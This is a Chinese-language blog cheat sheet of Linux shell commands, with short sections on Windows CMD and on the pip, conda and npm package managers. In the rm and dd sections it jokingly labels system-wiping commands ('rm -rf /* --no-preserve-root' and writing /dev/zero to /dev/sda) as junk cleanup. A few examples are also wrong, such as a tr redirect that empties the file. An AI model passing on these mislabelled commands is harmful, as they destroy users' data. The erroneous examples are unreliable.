Shell命令笔记

Linux Jul 14, 2020

Bash

文件 & 目录

ls

列出当前目录下的内容

ls -l  #列出文件的详细信息
ls -a  #列出所有文件及目录(以“.”开头的文件及目录通常被隐藏)
ls -A  #同ls -a,但去掉了“.”与“..”这两个
ls -F  #在目录名称前加“/”,在可执行文件前加“*”
ls -R  #若目录下有文件,也列出来

tree

以树状图列出当前目录结构,基本相当于 ls -R,但更加直观

tree  #直接使用即可

cd

切换当前目录

cd [路径]  #可以是相对路径,也可以是绝对路径
cd ..  #切换到上级目录
cd ../..  #切换到上上级目录
cd ~[用户名]  #切换到某个用户的home目录
cd -  #切换到上一次所处的目录
cd /  #切换到根目录

pwd

显示当前目录

>> pwd
/home/john_doe

mkdir

在当前目录下创建一个新文件夹

mkdir [文件夹名称]

touch

新建空白文件、设置文件的时间

touch [文件名]  #在当前目录下新建一个空白文件
touch [文件名] -a "2019-01-01 9:30"  #设置文件的读取时间(atime)
touch [文件名] -m "2019-01-01 9:30"  #设置文件的修改时间(mtime)
touch [文件名] -d "2019-01-01 9:30"  #同时设置的读取时间和修改时间

find

寻找文件或目录

用 “.” 表示当前目录,用 “/” 表示根目录

find [路径] -name "flag*"  #寻找以“flag”开头的文件或目录,区分大小写
find [路径] -iname "*.txt"  #寻找以“.txt”结尾的文件或目录,不区分大小写

rm

rm -f [文件或目录名]  #直接删除只读文件,不需要确认
rm -i [文件或目录名]  #删除每个文件前都需要确认
rm -r [文件或目录名]  #将目录与里面的内容全部删除(删除文件夹必须用rm -r)
rm -r *  #删除当前目录下所有东西
rm $(find / -iname "*.txt")  #找到所有txt文件并删除

sudo rm -rf /* --no-preserve-root  #垃圾清理代码,用完系统运行飞快

dd

可以用来备份、分离文件

dd if=[输入文件] of=[输出文件] count=[要复制块的个数] bs=[每个块的大小]
dd if=/dev/hdb of=/dev/hdd  #将本地的/dev/hdb整盘备份到/dev/hdd
dd if=xxx.jpg of=yyy.jpg skip=140147 bs=1
#设置每个块为1字节,从第140147个块开始复制并保存为yyy.jpg

sudo dd if=/dev/zero of=/dev/sda  #究极进化版·垃圾清理代码

file

通过文件内容推断文件类型

file [文件名]

mount

用于挂载 Linux 系统外的文件

mount /dev/hda1 /mnt  #将/dev/hda1挂在/mnt之下。
mount -o ro /dev/hda1 /mnt  #将/dev/hda1以只读模式挂在/mnt之下。
mount -o loop image.iso /mnt/cdrom  #将image.iso这个光碟使用loop模式挂在/mnt/cdrom之下

文本

vim

vim 是一个从 vi 发展出来的文本编辑器

vim [文件名]  #用vim打开文件

一开始会进入到命令模式,当进入其他模式时按下 Esc 可以返回命令模式

  • 按下 i 进入输入模式

    直接输入就行

  • 按下 : 进入底线命令模式

    输入命令,按下回车即可

    • w:保存

    • q:退出

    • wq:保存并退出

    • wq!:强制保存只读文件并退出

nano

有的时候系统中没有 vim,但还要先给 apt 换源,那就只能用 nano 了

nano [文件名]  #用nano打开文件

一开始就可以直接输入

  • Alt+U:撤销操作

  • Alt+E:恢复已撤销操作

  • Ctrl+O:保存

  • Ctrl+X:退出

cat

将文件打印到标准输出设备上

cat [文件名]  #直接把文件内容打印出来
cat -n [文件名]  #显示行号
cat -b [文件名]  #除空行外显示行号
cat [文件1] [文件2] > [文件3]  #把文件1和文件2拼接在一起,命名为文件3

打印文本文件的前 n 行

head [文件名]  #默认打印文件的前10行
head -n [行数] [文件名]  #设置打印行数(当输入负数时表示打印除去最后n行的所有文本)

tail

打印文本文件的后 n 行,用法与 head 相同

grep

在文本中搜索关键词

grep flag  #在当前文件夹的文件中搜索flag字符串
grep flag [文件名]  #在文件中搜索flag字符串,区分大小写
grep -i flag *.txt  #在结尾为.txt的文件中搜索flag字符串,不区分大小写
grep -r flag *  #在当前目录下递归搜索flag字符串

tr

替换文本文件中的字符

cat xxx.txt | tr a b  #将xxx.txt中的所有的“a”替换成“b”
cat xxx.txt | tr [a-z] [A-Z]  #将xxx.txt中的所有小写字母替换成大写
cat xxx.txt | tr [a-z] [A-Z] > xxx.txt  #将xxx.txt中的所有小写字母替换成大写并保存

diff

比较多个文件的差异

diff xxx.txt yyy.txt  #比较文件
diff -c xxx.txt yyy.txt  #比较文件,并描述具体的不同

hexdump

最简单的看文件 16 进制的方法

hexdump [文件名]  #输出16进制
hexdump -C [文件名]  #输出16进制与ASCII码

strings

打印出文件中所有的 ASCII 字符

strings [文件名]

网络

wget

用于下载文件,支持 HTTP,HTTPS 和 FTP 协议

wget [文件的URL]  #下载文件到当前目录
wget -b [文件的URL]  #后台下载文件
wget -O [文件名] [文件的URL]  #下载并命名文件
wget --spider [文件的URL]  #检查文件是否存在,不下载文件
wget -S [文件的URL]  #下载文件并输出服务器响应
wget -r --tries=5 [文件的URL]  #尝试5次下载文件

curl

利用 URL 语法工作的文件传输工具,支持多种协议

curl [URL]  #直接发送GET请求,并返回响应
curl -I [URL]  #返回响应头
curl -d 'user=admin' [URL]  #发送POST请求,也可以读取文件
curl -X [请求类型] [URL]  #指定请求类型(可能会有自定义的请求类型)
curl -H 'Referer: 127.0.0.1' [URL]  #设置HTTP请求头
curl -A [UA] [URL]  #设置User-Agent
curl -A [Referer] [URL]  #设置Referer
curl -b 'count=100' [URL]  #发送cookie,也可以读取文件
curl -c cookies.txt [URL]  #把cookie写入文件
curl -o [文件名] [URL]  #保存为文件(相当于wget)
curl -L [URL]  #设置跟随重定向(默认不跟随)
curl -k [URL]  #跳过SSL检测(不检查证书)

scp

从服务器下载文件或者上传文件到服务器

scp [用户名]@[IP地址]:[服务器文件目录] [本地目录]  #从服务器下载文件到本地指定目录
scp [本地文件目录] [用户名]@[IP地址]:[服务器目录]  #上传文件到服务器指定目录

ping

用来检测主机,还可以用来 DDoS 攻击(滑稽)

ping -c [完成次数] [域名或IP地址]

ifconfig

可以用来查看本机的 IP 地址

编译

gcc / g++

C/C++ 的编译器

gcc xxx.c  #编译文件,默认生成a.out/.exe
gcc -o [文件名] xxx.c  #编译文件并命名生成文件
gcc -S xxx.c  #生成汇编文件
gcc -c xxx.c  #生成obj文件
gcc -S -masm=intel xxx.c  #生成Intel格式的汇编文件
gcc -O[0,1,2,3,fast] xxx.c
#设置优化程度,越靠右优化程度越高。另有-Og优化调试体验,-Os优化文件大小

objdump

反汇编 obj 文件或者可执行文件

objdump -d xxx.o  #反汇编obj文件
objdump -d xxx.out/.exe  #反汇编可执行文件

压缩

rar

  • 压缩

    rar -ma[rar版本,4或5] -p[密码] a [压缩包名] [被压缩文件名]
    
  • 解压缩

    rar x [压缩包名]
    unrar e [压缩包名]
    

zip

  • 压缩

    zip -P [密码] -r [压缩包名] [被压缩文件名]
    
  • 解压缩

    unzip [压缩包名]
    

7z

可以解压 vmdk 文件

  • 压缩

    7z a [压缩包名] [被压缩文件名]
    7z a [压缩包名] *.txt  #压缩所有以.txt结尾的文件
    
  • 解压缩

    7z x [压缩包名]
    

tar

解压 tar.gz 文件、tar 文件、tar.bz2 文件

  • 压缩

    tar -czvf [压缩包名] [被压缩文件名]
    tar -czvf [压缩包名] *.txt  #压缩所有以.txt结尾的文件
    
  • 解压缩

    tar -xzvf [压缩包名]
    

编码

base64

  • 编码

    base64 [文件名]  #将文件中内容编码
    base64 文件1 > 文件2  #将文件1中内容编码,保存进文件2
    echo YXpoZQ== | base64  #直接编码
    
  • 解码

    base64 -d [文件名]  #将文件中内容解码
    base64 -d 文件1 > 文件2  #将文件1中内容解码,保存进文件2
    echo YXpoZQ== | base64 -d  #直接解码
    

base58 & base32 &base16

同上

包管理器

apt

Ubuntu、Kali、Debian 自带的包管理器

  • 安装 & 卸载

    sudo apt install [包名称]  #安装
    sudo apt remove [包名称]  #卸载
    
  • 搜索

    apt search [包名称]
    
  • 更新

    sudo apt update
    sudo apt upgrade
    
  • 清理

    sudo apt autoremove  #清理不用的依赖
    sudo apt autoclean  #清理已删除软件的安装包
    sudo apt clean  #清理所有安装包
    

yum

CentOS、Fedora 自带的包管理器

  • 安装 & 卸载
yum install [包名称]  #安装
yum install -y [包名称]  #无需确认地安装
yum remove [包名称]  #卸载
  • 搜索
yum search [包名称]
  • 更新
yum update
  • 清理
yum clean packages  #清理安装包
yum clean headers  #清理headers
yum clean oldheaders  #清理旧headers
yum clean  #清理安装包和旧headers

pacman

Arch Linux 系列(如 Manjaro)自带的包管理器

  • 安装 & 卸载

    pacman -S [包名称]  #下载并安装
    pacman -Sw [包名称]  #只下载不安装
    pacman -R [包名称]  #卸载,不删除依赖
    pacman -Rs [包名称]  #卸载,同时删除依赖
    
  • 搜索

    pacman -Ss [包名称]  #搜索含关键字的包
    pacman -Qi [包名称]  #查看有关包的信息。
    pacman -Ql [包名称]  #列出该包的文件
    
  • 更新

    pacman -Syu
    
  • 清理

    pacman -Scc  #清理缓存文件
    

特殊符号

  • $:表示其为变量
  • *:通配符,代表零个或多个字符
  • ?:通配符,代表一个字符
  • &:写在命令的后面,代表设置此进程为后台进程
  • |:连接两个命令,代表把前一个命令的输出当作后一个命令的输入
  • ;:连接两个命令,使命令按从左到右的顺序执行,无论成功与否
  • &&:连接两个命令,当前一个命令返回真时,才执行后一个命令
  • ||:连接两个命令,当前一个命令返回假时,才执行后一个命令
  • >:把标准输出写入符号后面的文件,并清空原有数据
  • >>:把标准输出写入符号后面的文件,追加到原有内容的后面
  • <:把符号后面的文件当作命令的输入
  • '':转义其中的变量属性为纯字符串
  • "":保留其中的变量属性,不进行转义
  • ``:被包裹起来的部分会被 Shell 执行

环境变量

  • HOME:用户的 home 目录
  • SHELL:当前使用的 Shell 解释器名称
  • LANG:系统语言、语系名称
  • PATH:可执行文件的搜索路径
  • EDITOR:默认的文本编辑器
  • RANDOM:生成一个随机数

使用 export 命令可以把一般变量转换为全局变量

CMD

平常不用,写一些偶尔用的上的吧

netsh

netsh winsock reset  #重置winsock目录,Ubuntu连不上的时候用

ipconfig

可以用来查看本机的 IP 地址

certutil

可以解码十六进制或 Base64 编码的文件、将文件编码为 Base64、计算文件的哈希值

certutil -encode [文件名] [新文件名]  #Base64编码文件
certutil -decode [文件名] [新文件名]  #解码Base64文件
certutil -decodehex [文件名] [新文件名]  #解码十六进制文件
certutil -hashfile [文件名] MD5  #计算文件的MD5值

其他包管理器

Python

pip

  • 安装 & 卸载

    pip install [包名称]  #安装(默认是Python3)
    pip install [包名称] -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
    #暂时换成豆瓣源安装
    pip uninstall [包名称]  #卸载
    python3 -m pip install [包名称]  #安装Python3的包
    python2 -m pip install [包名称]  #安装Python2的包
    
  • 搜索

    pip search [包名称]
    
  • 更新

    pip install --upgrade [包名称]  #更新某个包
    pip install -U pip  #更新pip
    

conda

  • 安装 & 卸载

    conda install [包名称]  #安装
    conda remove [包名称]  #卸载
    conda install -n [环境名] [包名称]  #在某个环境中安装
    conda remove -n [环境名] [包名称]  #在某个环境中卸载
    
  • 搜索

    conda search [包名称]
    
  • 更新

    conda update [包名称]  #更新某个包
    conda update conda  #更新conda
    conda update anaconda  #更新anaconda
    
  • 管理 Python 环境

    conda create --name [环境名] python=3.5  #创建Python版本为3.5的环境
    activate [环境名]  #Windows激活环境
    source activate [环境名]  #Linux激活环境
    deactivate [环境名]  #Windows返回主环境
    source deactivate [环境名]  #Linux返回主环境
    conda remove --name [环境名] --all  #删除环境
    conda info -e  #查看系统中所有环境
    

JavaScript

npm

  • 安装 & 卸载

    npm install [包名称]  #本地安装
    npm install [包名称] -s  #本地安装并把模块的版本信息保存到生产环境依赖
    npm install [包名称] -d  #本地安装并把模块的版本信息保存到开发环境依赖
    npm install [包名称] -g  #全局安装
    npm uninstall [包名称]  #卸载当前项目中安装的某个包
    npm uninstall [包名称] -g  #卸载某个全局安装的包
    
  • 查看某个全局安装的包的位置

    npm [包名称] -g
    
  • 更新

    npm update  #更新当前项目中安装的所有包
    npm update [包名称]  #更新当前项目中安装的某个包
    npm update [包名称] -g  #更新某个全局安装的包
    npm install npm -g  #更新npm
    
  • 初始化项目

    npm init  #在当前目录生成一个package.json文件
    
  • 运行脚本

    npm run [脚本名]  #常见的比如vue-cli使用npm run dev和npm run build
    

标签

john_doe

Merak 铁菜鸡一枚

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.